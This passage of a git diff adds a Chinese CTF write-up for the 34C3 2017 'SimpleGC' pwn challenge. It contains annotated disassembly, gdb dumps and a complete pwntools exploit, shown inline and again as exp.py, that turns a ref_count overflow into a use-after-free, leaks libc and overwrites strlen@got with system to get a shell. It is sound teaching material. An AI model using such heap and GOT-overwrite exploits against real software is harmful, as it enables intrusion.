| | 0x0040137f call sym.imp.printf ; int printf(const char *format)
|
||||
| | 0x00401384 lea rax, [local_40h]
|
||||
| | 0x00401388 mov esi, 2
|
||||
| | 0x0040138d mov rdi, rax
|
||||
| | 0x00401390 call sub.read_b56 ; 读取字符 "y" 或者 "n"
|
||||
| | 0x00401395 mov edi, str.Enter_new_group_name: ; 0x401786 ; "Enter new group name: "
|
||||
| | 0x0040139a mov eax, 0
|
||||
| | 0x0040139f call sym.imp.printf ; int printf(const char *format)
|
||||
| | 0x004013a4 movzx eax, byte [local_40h]
|
||||
| | 0x004013a8 cmp al, 0x79 ; 'y' ; 121
|
||||
| ,==< 0x004013aa jne 0x4013ca
|
||||
| || 0x004013ac mov eax, dword [local_54h] ; 当输入 "y" 时
|
||||
| || 0x004013af mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
|
||||
| || 0x004013b7 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 users[i]->group
|
||||
| || 0x004013bb mov esi, 0x18 ; 24
|
||||
| || 0x004013c0 mov rdi, rax
|
||||
| || 0x004013c3 call sub.read_b56 ; 将 group 逐字节写入 users[i]->group,函数结束
|
||||
| ,===< 0x004013c8 jmp 0x401433
|
||||
| ||| ; JMP XREF from 0x004013aa (sub.Enter_index:_31b)
|
||||
| |`--> 0x004013ca lea rax, [local_30h] ; 当输入 "n" 时
|
||||
| | | 0x004013ce mov esi, 0x18 ; 24
|
||||
| | | 0x004013d3 mov rdi, rax
|
||||
| | | 0x004013d6 call sub.read_b56 ; 读入 group 到 local_30h
|
||||
| | | 0x004013db lea rax, [local_30h]
|
||||
| | | 0x004013df mov rdi, rax
|
||||
| | | 0x004013e2 call sub.strcmp_be0 ; 如果 groups 中存在同名 group,将该 group 的 ref_count 加 1,并返回。否则返回 0
|
||||
| | | 0x004013e7 mov qword [local_50h], rax
|
||||
| | | 0x004013eb cmp qword [local_50h], 0
|
||||
| |,==< 0x004013f0 jne 0x40141a
|
||||
| ||| 0x004013f2 lea rax, [local_30h] ; 当返回值是 0 时
|
||||
| ||| 0x004013f6 mov rdi, rax
|
||||
| ||| 0x004013f9 call fcn.00400cdd ; 将 group 放入第一个 groups[k] 为 0 的地方,并返回这个 groups[k]
|
||||
| ||| 0x004013fe mov qword [local_48h], rax
|
||||
| ||| 0x00401402 mov eax, dword [local_54h]
|
||||
| ||| 0x00401405 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| ||| 0x0040140d mov rdx, qword [local_48h]
|
||||
| ||| 0x00401411 mov rdx, qword [rdx] ; 取出 groups[k]->group_name
|
||||
| ||| 0x00401414 mov qword [rax + 0x10], rdx ; 将 users[i]->group 赋值为 groups[k]->group_name
|
||||
| ,====< 0x00401418 jmp 0x401433
|
||||
| |||| ; JMP XREF from 0x004013f0 (sub.Enter_index:_31b)
|
||||
| ||`--> 0x0040141a mov eax, dword [local_54h] ; 当返回值不是 0 时
|
||||
| || | 0x0040141d mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| || | 0x00401425 mov rdx, qword [local_50h]
|
||||
| || | 0x00401429 mov rdx, qword [rdx] ; 取出 groups[k]->group_name
|
||||
| || | 0x0040142c mov qword [rax + 0x10], rdx ; 将 users[i]->group 赋值为 groups[k]->group_name
|
||||
| ||,==< 0x00401430 jmp 0x401433
|
||||
| |||| ; JMP XREF from 0x0040136f (sub.Enter_index:_31b)
|
||||
| |||`-> 0x00401432 nop
|
||||
| ||| ; JMP XREF from 0x00401430 (sub.Enter_index:_31b)
|
||||
| ||| ; JMP XREF from 0x00401418 (sub.Enter_index:_31b)
|
||||
| ||| ; JMP XREF from 0x004013c8 (sub.Enter_index:_31b)
|
||||
| ```--> 0x00401433 mov rax, qword [local_8h]
|
||||
| 0x00401437 xor rax, qword fs:[0x28]
|
||||
| ,=< 0x00401440 je 0x401447
|
||||
| | 0x00401442 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||||
| | ; JMP XREF from 0x00401440 (sub.Enter_index:_31b)
|
||||
| `-> 0x00401447 leave
|
||||
\ 0x00401448 ret
|
||||
```
|
||||
该函数有两种操作:
|
||||
- 输入 "y" 时:修改 users[i]->group,于是所有具有相同 group 的 user->group 都被修改了。这样的问题是会造成有两个同名 group 的存在。
|
||||
- 输入 "n" 时:如果 group 已经存在,则将 group->ref_count 加 1,并设置 users[i]->group 赋值为 group->group_name。否则新建一个 new_group,将 group_ref_count 设置为 1,同样将 users[i]->group 赋值为 new_group->group_name。这里同样存在问题,当修改了一个 user 的 group 之后,原 group->ref_count 并没有减 1,可能会造成溢出。
|
||||
|
||||
#### delete a user
|
||||
最后是删除 user 的操作:
|
||||
```
|
||||
[0x00400a60]> pdf @ sub.Enter_index:_1c4
|
||||
/ (fcn) sub.Enter_index:_1c4 186
|
||||
| sub.Enter_index:_1c4 ();
|
||||
| ; var int local_14h @ rbp-0x14
|
||||
| ; var int local_10h @ rbp-0x10
|
||||
| ; var int local_8h @ rbp-0x8
|
||||
| ; CALL XREF from 0x00401585 (main)
|
||||
| 0x004011c4 push rbp
|
||||
| 0x004011c5 mov rbp, rsp
|
||||
| 0x004011c8 sub rsp, 0x20
|
||||
| 0x004011cc mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||||
| 0x004011d5 mov qword [local_8h], rax
|
||||
| 0x004011d9 xor eax, eax
|
||||
| 0x004011db mov edi, str.Enter_index: ; 0x4016d5 ; "Enter index: "
|
||||
| 0x004011e0 mov eax, 0
|
||||
| 0x004011e5 call sym.imp.printf ; int printf(const char *format)
|
||||
| 0x004011ea lea rax, [local_10h]
|
||||
| 0x004011ee mov esi, 4
|
||||
| 0x004011f3 mov rdi, rax
|
||||
| 0x004011f6 call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| 0x004011fb lea rax, [local_10h]
|
||||
| 0x004011ff mov rdi, rax
|
||||
| 0x00401202 call sym.imp.atoi ; int atoi(const char *str)
|
||||
| 0x00401207 mov dword [local_14h], eax
|
||||
| 0x0040120a cmp dword [local_14h], 0x5f ; [0x5f:4]=-1 ; '_' ; 95
|
||||
| ,=< 0x0040120e jbe 0x40121c ; 检查索引 i 是否超出最大值
|
||||
| | 0x00401210 mov edi, str.invalid_index ; 0x4016e3 ; "invalid index"
|
||||
| | 0x00401215 call sym.imp.puts ; int puts(const char *s)
|
||||
| ,==< 0x0040121a jmp 0x401268
|
||||
| || ; JMP XREF from 0x0040120e (sub.Enter_index:_1c4)
|
||||
| |`-> 0x0040121c mov eax, dword [local_14h]
|
||||
| | 0x0040121f mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| | 0x00401227 test rax, rax
|
||||
| |,=< 0x0040122a je 0x401267 ; 如果 users[i] 为 0,函数结束
|
||||
| || 0x0040122c mov eax, dword [local_14h] ; 否则继续
|
||||
| || 0x0040122f mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
|
||||
| || 0x00401237 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 users[i]->group
|
||||
| || 0x0040123b mov rdi, rax
|
||||
| || 0x0040123e call sub.strcmp_139 ; 将对应的 group->ref_count 减 1
|
||||
| || 0x00401243 mov eax, dword [local_14h]
|
||||
| || 0x00401246 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| || 0x0040124e mov rdi, rax
|
||||
| || 0x00401251 call sym.imp.free ; void free(void *ptr) ; 释放 users[i]
|
||||
| || 0x00401256 mov eax, dword [local_14h]
|
||||
| || 0x00401259 mov qword [rax*8 + 0x6020e0], 0 ; [0x6020e0:8]=0 ; 将 users[i] 置为 0
|
||||
| ,===< 0x00401265 jmp 0x401268
|
||||
| ||| ; JMP XREF from 0x0040122a (sub.Enter_index:_1c4)
|
||||
| ||`-> 0x00401267 nop
|
||||
| || ; JMP XREF from 0x00401265 (sub.Enter_index:_1c4)
|
||||
| || ; JMP XREF from 0x0040121a (sub.Enter_index:_1c4)
|
||||
| ``--> 0x00401268 mov rax, qword [local_8h]
|
||||
| 0x0040126c xor rax, qword fs:[0x28]
|
||||
| ,=< 0x00401275 je 0x40127c
|
||||
| | 0x00401277 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||||
| | ; JMP XREF from 0x00401275 (sub.Enter_index:_1c4)
|
||||
| `-> 0x0040127c leave
|
||||
\ 0x0040127d ret
|
||||
```
|
||||
其中调用了函数 `sub.strcmp_139()`,如下:
|
||||
```
|
||||
[0x00400a60]> pdf @ sub.strcmp_139
|
||||
/ (fcn) sub.strcmp_139 139
|
||||
| sub.strcmp_139 (int arg_5fh);
|
||||
| ; var int local_18h @ rbp-0x18
|
||||
| ; var int local_2h @ rbp-0x2
|
||||
| ; arg int arg_5fh @ rbp+0x5f
|
||||
| ; CALL XREF from 0x0040123e (sub.Enter_index:_1c4)
|
||||
| 0x00401139 push rbp
|
||||
| 0x0040113a mov rbp, rsp
|
||||
| 0x0040113d sub rsp, 0x20
|
||||
| 0x00401141 mov qword [local_18h], rdi ; [local_18h] 赋值为传入的 group
|
||||
| 0x00401145 mov word [local_2h], 0 ; 循环计数 i,初始化为 0
|
||||
| ,=< 0x0040114b jmp 0x4011ba
|
||||
| | ; JMP XREF from 0x004011bf (sub.strcmp_139)
|
||||
| .--> 0x0040114d movzx eax, word [local_2h]
|
||||
| :| 0x00401151 cdqe
|
||||
| :| 0x00401153 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
|
||||
| :| 0x0040115b test rax, rax
|
||||
| ,===< 0x0040115e je 0x4011b4 ; 如果 groups[i] 为 0,进行下一次循环,即取出第一个不为 0 的 group[i]
|
||||
| |:| 0x00401160 movzx eax, word [local_2h]
|
||||
| |:| 0x00401164 cdqe
|
||||
| |:| 0x00401166 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| |:| 0x0040116e mov rdx, qword [rax] ; 取出 groups[i]->group_name
|
||||
| |:| 0x00401171 mov rax, qword [local_18h] ; 取出传入的 group
|
||||
| |:| 0x00401175 mov rsi, rdx
|
||||
| |:| 0x00401178 mov rdi, rax
|
||||
| |:| 0x0040117b call sym.imp.strcmp ; 进行比较
|
||||
| |:| 0x00401180 test eax, eax
|
||||
| ,====< 0x00401182 jne 0x4011b5 ; 如果不相等,进行下一次循环
|
||||
| ||:| 0x00401184 movzx eax, word [local_2h] ; 否则继续
|
||||
| ||:| 0x00401188 cdqe
|
||||
| ||:| 0x0040118a mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| ||:| 0x00401192 movzx eax, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|
||||
| ||:| 0x00401196 test al, al
|
||||
| ,=====< 0x00401198 je 0x4011b5 ; 如果 ref_count 为 0,继续下一次循环
|
||||
| |||:| 0x0040119a movzx eax, word [local_2h] ; 否则继续
|
||||
| |||:| 0x0040119e cdqe
|
||||
| |||:| 0x004011a0 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| |||:| 0x004011a8 movzx edx, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|
||||
| |||:| 0x004011ac sub edx, 1 ; 将 ref_count 减 1
|
||||
| |||:| 0x004011af mov byte [rax + 8], dl ; 将低字节放回
|
||||
| ,======< 0x004011b2 jmp 0x4011b5
|
||||
| ||||:| ; JMP XREF from 0x0040115e (sub.strcmp_139)
|
||||
| |||`---> 0x004011b4 nop
|
||||
| ||| :| ; JMP XREF from 0x00401182 (sub.strcmp_139)
|
||||
| ||| :| ; JMP XREF from 0x00401198 (sub.strcmp_139)
|
||||
| ||| :| ; JMP XREF from 0x004011b2 (sub.strcmp_139)
|
||||
| ```----> 0x004011b5 add word [local_2h], 1 ; 循环计数 + 1
|
||||
| :| ; JMP XREF from 0x0040114b (sub.strcmp_139)
|
||||
| :`-> 0x004011ba cmp word [local_2h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
|
||||
| `==< 0x004011bf jbe 0x40114d ; 继续循环
|
||||
| 0x004011c1 nop
|
||||
| 0x004011c2 leave
|
||||
\ 0x004011c3 ret
|
||||
```
|
||||
该函数的作用是遍历 groups 寻找与传入 group 相同的 groups[i],然后将 groups[i]->ref_count 减 1。这里有个问题,正如我们在 edit-a-group 分析的,通过修改 group,可能使 groups 中存在两个同名的 group,那么根据这里的逻辑,这两个同名的 group 的 ref_count 都会被减去 1,可能导致 UAF 漏洞。
|
||||
|
||||
然后是删除 user 的过程中,只释放了 user 本身和 user->group,而 user->name 没有被释放。可能导致信息泄漏。
|
||||
|
||||
|
||||
## Exploit
|
||||
逆向分析完成,来简单地总结一下。
|
||||
- 两个结构体和两个由结构体指针构成的数组:
|
||||
```c
|
||||
struct group {
|
||||
char *group_name;
|
||||
uint8_t ref_count;
|
||||
} group;
|
||||
|
||||
struct user {
|
||||
uint8_t age;
|
||||
char *name;
|
||||
char *group;
|
||||
} user;
|
||||
|
||||
struct user *users[0x60]; // 0x6020e0
|
||||
struct group *groups[0x60]; // 0x6023e0
|
||||
```
|
||||
- 添加 user 时将创建 user 结构体,name 字符串两个 chunk
|
||||
- 新建 group 时将创建 group 结构体,group_name 字符串两个 chunk
|
||||
- group 本身和 group->group_name 由 GC 线程来释放
|
||||
- user 在删除时释放了 user 本身,group->ref_count 减 1,而 user->name 将导致信息泄漏
|
||||
- ref_count 类型为 uint8_t 且在修改组是不会减 1,将导致溢出(例如:0x100 和 0x0),使 GC 进行释放 group 的操作
|
||||
- 如果有两个同名的 group,两个 user 分别指向这两个 group,那么释放其中一个 user 时,另一个也会被释放,造成 UAF
|
||||
|
||||
#### overflow
|
||||
首先我们来溢出 ref_count:
|
||||
```python
|
||||
def overflow():
|
||||
sleep(1)
|
||||
for i in range(0x100-1):
|
||||
add_user('a'*8, 'A'*4)
|
||||
edit_group(0, 'n', 'B'*4)
|
||||
delete_user(0)
|
||||
|
||||
add_user('a'*8, 'A'*4) # overflow ref_count
|
||||
sleep(2) # group_name and group freed by GC
|
||||
```
|
||||
```
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[]
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/4gx 0x6023e0
|
||||
0x6023e0: 0x0000000000000000 0x0000000000000000 <-- groups[]
|
||||
0x6023f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/3gx 0x6033c0
|
||||
0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0]
|
||||
0x6033d0: 0x0000000000603380 <-- users[0]->group
|
||||
gdb-peda$ x/2gx 0x603380
|
||||
0x603380: 0x0000000000000000 0x0000000000000000 <-- group_name <-- ref_count
|
||||
```
|
||||
可以看到,当我们将 ref_count 溢出为 `0x100` 后,程序只有只有将地位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,并将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 `group_name`(`0x603380`),悬指针产生。
|
||||
|
||||
#### uaf and leak
|
||||
接下来利用悬指针泄漏 libc 的地址:
|
||||
```python
|
||||
def leak():
|
||||
add_user('b'*32, 'B'*4) # group
|
||||
strlen_got = elf.got['strlen']
|
||||
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
|
||||
|
||||
__strlen_sse2_addr = u64(display_user(1)[13:19].ljust(8, '\0'))
|
||||
libc_base = __strlen_sse2_addr - 0xa83f0
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
log.info("__strlen_sse2 address: 0x%x" % __strlen_sse2_addr)
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
|
||||
return system_addr
|
||||
```
|
||||
首先添加一个 user,神奇的是这个 user struct 正好就是被释放的 group,所以修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示:
|
||||
```
|
||||
gdb-peda$ x/4gx 0x6020e0
|
||||
0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[]
|
||||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/4gx 0x6023e0
|
||||
0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[]
|
||||
0x6023f0: 0x0000000000000000 0x0000000000000000
|
||||
gdb-peda$ x/3gx 0x6033c0
|
||||
0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0]
|
||||
0x6033d0: 0x0000000000603380
|
||||
gdb-peda$ x/3gx 0x603380
|
||||
0x603380: 0x0000000000000000 0x0000000000602030 <-- users[1]
|
||||
0x603390: 0x0000000000602030 <-- fake users[1]->group
|
||||
```
|
||||
接下来只要 display users[1],就可以将 strlen 的地址打印出来,然而:
|
||||
```
|
||||
gdb-peda$ x/gx 0x602030
|
||||
0x602030: 0x00007ffff7aa03f0
|
||||
gdb-peda$ disassemble strlen
|
||||
Dump of assembler code for function strlen:
|
||||
0x00007ffff7a8bee0 <+0>: mov rax,QWORD PTR [rip+0x345f71] # 0x7ffff7dd1e58
|
||||
0x00007ffff7a8bee7 <+7>: lea rdx,[rip+0xea982] # 0x7ffff7b76870 <__strlen_avx2>
|
||||
0x00007ffff7a8beee <+14>: mov eax,DWORD PTR [rax+0xa8]
|
||||
0x00007ffff7a8bef4 <+20>: and eax,0x20c00
|
||||
0x00007ffff7a8bef9 <+25>: cmp eax,0xc00
|
||||
0x00007ffff7a8befe <+30>: lea rax,[rip+0x144eb] # 0x7ffff7aa03f0 <__strlen_sse2>
|
||||
0x00007ffff7a8bf05 <+37>: cmove rax,rdx
|
||||
0x00007ffff7a8bf09 <+41>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
strlen@got 指向的并不是 strlen 函数,而是它里面的 `__strlen_sse2`,这就很奇怪了。原因出在这次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=dc485ceb2ac596d27294cc1942adf3181f15e8bf)。libc-2.26 中使用了 AVX2 对 strlen 系列函数进行优化。
|
||||
|
||||
那我们修改一下,反正计算偏移的方法是相同的:
|
||||
```
|
||||
gdb-peda$ vmmap libc
|
||||
Start End Perm Name
|
||||
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/SimpleGC/libc-2.26.so
|
||||
0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/SimpleGC/libc-2.26.so
|
||||
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/SimpleGC/libc-2.26.so
|
||||
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/SimpleGC/libc-2.26.so
|
||||
gdb-peda$ p 0x7ffff7aa03f0 - 0x00007ffff79f8000
|
||||
$2 = 0xa83f0
|
||||
```
|
||||
然而就得到了 system 的地址。
|
||||
|
||||
#### get shell
|
||||
最后只需要修改 strlen@got 为 system@got 就可以了:
|
||||
```c
|
||||
def overwrite(system_addr):
|
||||
edit_group(1, "y", p64(system_addr)) # strlen_got -> system_got
|
||||
|
||||
def pwn():
|
||||
add_user("/bin/sh", "B"*4) # system('/bin/sh')
|
||||
io.interactive()
|
||||
```
|
||||
```
|
||||
gdb-peda$ x/gx 0x602030
|
||||
0x602030: 0x00007ffff7a3fdc0
|
||||
gdb-peda$ p system
|
||||
$1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
|
||||
```
|
||||
```
|
||||
gdb-peda$ si
|
||||
[----------------------------------registers-----------------------------------]
|
||||
RAX: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
|
||||
RBX: 0x2
|
||||
RCX: 0x7ffff7dd2c20 --> 0x0
|
||||
RDX: 0x3
|
||||
RSI: 0x0
|
||||
RDI: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
|
||||
RBP: 0x7fffffffed40 --> 0x7fffffffed70 --> 0x4015b0 (push r15)
|
||||
RSP: 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
|
||||
RIP: 0x400960 (<strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030)
|
||||
R8 : 0x0
|
||||
R9 : 0x605510 --> 0x3
|
||||
R10: 0xffffffffffffffb0
|
||||
R11: 0x7ffff7b86b40 --> 0x2000200020002
|
||||
R12: 0x400a60 (xor ebp,ebp)
|
||||
R13: 0x7fffffffee50 --> 0x1
|
||||
R14: 0x0
|
||||
R15: 0x0
|
||||
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x400950 <puts@plt>: jmp QWORD PTR [rip+0x2016d2] # 0x602028
|
||||
0x400956 <puts@plt+6>: push 0x2
|
||||
0x40095b <puts@plt+11>: jmp 0x400920
|
||||
=> 0x400960 <strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030
|
||||
| 0x400966 <strlen@plt+6>: push 0x3
|
||||
| 0x40096b <strlen@plt+11>: jmp 0x400920
|
||||
| 0x400970 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x2016c2] # 0x602038
|
||||
| 0x400976 <__stack_chk_fail@plt+6>: push 0x4
|
||||
|-> 0x7ffff7a3fdc0 <system>: test rdi,rdi
|
||||
0x7ffff7a3fdc3 <system+3>: je 0x7ffff7a3fdd0 <system+16>
|
||||
0x7ffff7a3fdc5 <system+5>: jmp 0x7ffff7a3f820
|
||||
0x7ffff7a3fdca <system+10>: nop WORD PTR [rax+rax*1+0x0]
|
||||
JUMP is taken
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
|
||||
0008| 0x7fffffffebd0 --> 0x400a60 (xor ebp,ebp)
|
||||
0016| 0x7fffffffebd8 --> 0x27fffffffee50
|
||||
0024| 0x7fffffffebe0 --> 0x3
|
||||
0032| 0x7fffffffebe8 --> 0x6033a0 --> 0x603560 --> 0x42424242 ('BBBB')
|
||||
0040| 0x7fffffffebf0 --> 0x33 ('3')
|
||||
0048| 0x7fffffffebf8 --> 0x7ffff7a54e36 (<printf+166>: mov rcx,QWORD PTR [rsp+0x18])
|
||||
0056| 0x7fffffffec00 --> 0x42424242 ('BBBB')
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x0000000000400960 in strlen@plt ()
|
||||
```
|
||||
|
||||
#### exploit
|
||||
完整的 exp 如下:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
# context.log_level = 'debug'
|
||||
|
||||
io = process(['./sgc'], env={'LD_PRELOAD':'./libc-2.26.so'})
|
||||
libc = ELF('libc-2.26.so')
|
||||
elf = ELF('sgc')
|
||||
|
||||
def add_user(name, group):
|
||||
io.sendlineafter("Action: ", '0')
|
||||
io.sendlineafter("name: ", name)
|
||||
io.sendlineafter("group: ", group)
|
||||
io.sendlineafter("age: ", '3')
|
||||
|
||||
def display_group(name):
|
||||
io.sendlineafter("Action: ", '1')
|
||||
io.sendlineafter("name: ", name)
|
||||
|
||||
def display_user(idx):
|
||||
io.sendlineafter("Action: ", '2')
|
||||
io.sendlineafter("index: ", str(idx))
|
||||
return io.recvuntil("0: ")
|
||||
|
||||
def edit_group(idx, propogate, name):
|
||||
io.sendlineafter("Action: ", '3')
|
||||
io.sendlineafter("index: ", str(idx))
|
||||
io.sendlineafter("(y/n): ", propogate)
|
||||
io.sendlineafter("name: ", name)
|
||||
|
||||
def delete_user(idx):
|
||||
io.sendlineafter("Action: ", '4')
|
||||
io.sendlineafter("index: ", str(idx))
|
||||
|
||||
def overflow():
|
||||
sleep(1)
|
||||
for i in range(0x100-1):
|
||||
add_user('a'*8, 'A'*4)
|
||||
edit_group(0, 'n', 'B'*4)
|
||||
delete_user(0)
|
||||
|
||||
add_user('a'*8, 'A'*4) # overflow ref_count
|
||||
sleep(2) # group_name and group freed by GC
|
||||
|
||||
def leak():
|
||||
add_user('b'*32, 'B'*4) # group
|
||||
strlen_got = elf.got['strlen']
|
||||
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
|
||||
|
||||
__strlen_sse2_addr = u64(display_user(1)[13:19].ljust(8, '\0'))
|
||||
libc_base = __strlen_sse2_addr - 0xa83f0
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
log.info("__strlen_sse2 address: 0x%x" % __strlen_sse2_addr)
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
|
||||
return system_addr
|
||||
|
||||
def overwrite(system_addr):
|
||||
edit_group(1, "y", p64(system_addr)) # strlen_got -> system_got
|
||||
|
||||
def pwn():
|
||||
add_user("/bin/sh\x00", "B"*4) # system('/bin/sh')
|
||||
io.interactive()
|
||||
|
||||
if __name__ == "__main__":
|
||||
overflow()
|
||||
system_addr = leak()
|
||||
overwrite(system_addr)
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/5137
|
||||
- https://github.com/bkth/34c3ctf/tree/master/SimpleGC
|
||||
|
@ -288,6 +288,11 @@ fork 服务器
|
||||
$ socat tcp-l:9999,fork exec:./pwn1
|
||||
```
|
||||
|
||||
跟踪 malloc 和 free 调用及相应的地址:
|
||||
```shell
|
||||
$ socat tcp-listen:1337,fork,reuseaddr system:"ltrace -f -e malloc+free-@libc.so* ./pwn"
|
||||
```
|
||||
|
||||
|
||||
## ssdeep
|
||||
模糊哈希算法又叫基于内容分割的分片分片哈希算法(context triggered piecewise hashing, CTPH),主要用于文件的相似性比较。
|
||||
|
71
src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp.py
Normal file
71
src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp.py
Normal file
@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
# context.log_level = 'debug'
|
||||
|
||||
io = process(['./sgc'], env={'LD_PRELOAD':'./libc-2.26.so'})
|
||||
libc = ELF('libc-2.26.so')
|
||||
elf = ELF('sgc')
|
||||
|
||||
def add_user(name, group):
|
||||
io.sendlineafter("Action: ", '0')
|
||||
io.sendlineafter("name: ", name)
|
||||
io.sendlineafter("group: ", group)
|
||||
io.sendlineafter("age: ", '3')
|
||||
|
||||
def display_group(name):
|
||||
io.sendlineafter("Action: ", '1')
|
||||
io.sendlineafter("name: ", name)
|
||||
|
||||
def display_user(idx):
|
||||
io.sendlineafter("Action: ", '2')
|
||||
io.sendlineafter("index: ", str(idx))
|
||||
return io.recvuntil("0: ")
|
||||
|
||||
def edit_group(idx, propogate, name):
|
||||
io.sendlineafter("Action: ", '3')
|
||||
io.sendlineafter("index: ", str(idx))
|
||||
io.sendlineafter("(y/n): ", propogate)
|
||||
io.sendlineafter("name: ", name)
|
||||
|
||||
def delete_user(idx):
|
||||
io.sendlineafter("Action: ", '4')
|
||||
io.sendlineafter("index: ", str(idx))
|
||||
|
||||
def overflow():
|
||||
sleep(1)
|
||||
for i in range(0x100-1):
|
||||
add_user('a'*8, 'A'*4)
|
||||
edit_group(0, 'n', 'B'*4)
|
||||
delete_user(0)
|
||||
|
||||
add_user('a'*8, 'A'*4) # overflow ref_count
|
||||
sleep(2) # group_name and group freed by GC
|
||||
|
||||
def leak():
|
||||
add_user('b'*32, 'B'*4) # group
|
||||
strlen_got = elf.got['strlen']
|
||||
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
|
||||
|
||||
__strlen_sse2_addr = u64(display_user(1)[13:19].ljust(8, '\0'))
|
||||
libc_base = __strlen_sse2_addr - 0xa83f0
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
log.info("__strlen_sse2 address: 0x%x" % __strlen_sse2_addr)
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
|
||||
return system_addr
|
||||
|
||||
def overwrite(system_addr):
|
||||
edit_group(1, "y", p64(system_addr)) # strlen_got -> system_got
|
||||
|
||||
def pwn():
|
||||
add_user("/bin/sh\x00", "B"*4) # system('/bin/sh')
|
||||
io.interactive()
|
||||
|
||||
if __name__ == "__main__":
|
||||
overflow()
|
||||
system_addr = leak()
|
||||
overwrite(system_addr)
|
||||
pwn()
|
Loading…
Reference in New Issue
Block a user